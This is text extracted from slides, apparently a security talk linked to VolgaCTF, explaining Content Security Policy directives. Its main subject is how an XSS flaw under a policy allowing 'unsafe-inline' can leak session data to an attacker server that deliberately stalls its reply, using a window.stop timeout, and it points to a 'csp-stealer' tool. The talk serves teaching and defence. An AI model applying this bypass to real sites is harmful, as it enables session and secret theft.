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Content-Security-Policy:

Content Security Policy



Directive Description Value

default-src The default-src is the default policy for loading content 
such as JavaScript, Images, CSS, Fonts

“self” https://*.example.com

script-src These directives specifies the valid source for javascript “self” https://*.example.com “unsafe-eval” 
“unsafe-inline”

style-src This is script-src's counterpart for stylesheets “self” https://*.example.com “unsafe-inline”

connect-src It limits the origins that you can connect to (via ‘self’
XHR, WebSockets, and EventSource)

“self” https://api.example.com

base-uri It restricts the URLs that can appear in a page's <base> 
element

“self”

report-uri It specifies a URL where a browser will send reports when 
a content security policy is violated

https://example.com/cspReport
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Content Security Policy: script-src ‘self’ ‘unsafe-inline’



VolgaCTF

Content Security Policy: script-src ‘self’ ‘unsafe-inline’
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● unsafe-inline is required for a lot of functional

● There is an illusion about the safety of the unsafe-inline
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Why do they use unsafe inline?
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How can you exploit this XSS?
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(blocked: csp)



User will be redirected to hacker siteSecrets will be stolen
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CSP doesn't have any problems



XSS vulnerable page: target.com
Content-Security-Policy: default-src ‘self’; script-src ‘self’ ‘unsafe-inline’
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GET /?session=...

target.com
Hacker Server
sleep-sniffer.com
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1. Save credentials
2. Don’t respond, just sleep
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GET /?session=...

target.com
Hacker Server
sleep-sniffer.com



Still sleeping
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setTimeout(window.stop, 3000);

target.com
Hacker Server
sleep-sniffer.com
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￼

github.com/sysmustang/csp-stealer
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Typical Blind XSS: Attempt
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report-uri: /cspViolation

Vulnerable admin page
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Typical CSP: blocked
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Blind XSS: CSPstealer



Other ways
to bypass CSP
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https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass 
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https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass


https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass 
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https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass


https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass 
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https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
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Can you bypass 
CSP? How will you 

get secrets from 
page?



● You must check policy by CSPEvaluator

● There are many ways to bypass CSP

● Vulnerable CSP is useless policy
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Secure policy?



Your questions?
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